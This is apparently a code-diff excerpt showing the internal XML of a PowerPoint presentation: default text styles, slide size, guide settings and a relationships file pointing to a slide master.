<p:presentation xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" saveSubsetFonts="1"><p:sldMasterIdLst><p:sldMasterId id="2147483648" r:id="rId1"/></p:sldMasterIdLst><p:sldIdLst><p:sldId id="256" r:id="rId2"/></p:sldIdLst><p:sldSz cx="9144000" cy="6858000" type="screen4x3"/><p:notesSz cx="6858000" cy="9144000"/><p:defaultTextStyle><a:defPPr><a:defRPr lang="en-US"/></a:defPPr><a:lvl1pPr marL="0" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl1pPr><a:lvl2pPr marL="457200" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl2pPr><a:lvl3pPr marL="914400" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl3pPr><a:lvl4pPr marL="1371600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl4pPr><a:lvl5pPr marL="1828800" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl5pPr><a:lvl6pPr marL="2286000" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl6pPr><a:lvl7pPr marL="2743200" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl7pPr><a:lvl8pPr marL="3200400" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl8pPr><a:lvl9pPr marL="3657600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl9pPr></p:defaultTextStyle><p:extLst><p:ext uri="{EFAFB233-063F-42B5-8137-9DF3F51BA10A}"><p15:sldGuideLst xmlns:p15="http://schemas.microsoft.com/office/powerpoint/2012/main" xmlns="">
<p15:guide id="1" orient="horz" pos="2160">
<p15:clr>
<a:srgbClr val="A4A3A4"/>
</p15:clr>
</p15:guide>
<p15:guide id="2" pos="2880">
<p15:clr>
<a:srgbClr val="A4A3A4"/>
</p15:clr>
</p15:guide>
</p15:sldGuideLst></p:ext></p:extLst></p:presentation>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>

Some files were not shown because too many files have changed in this diff Show More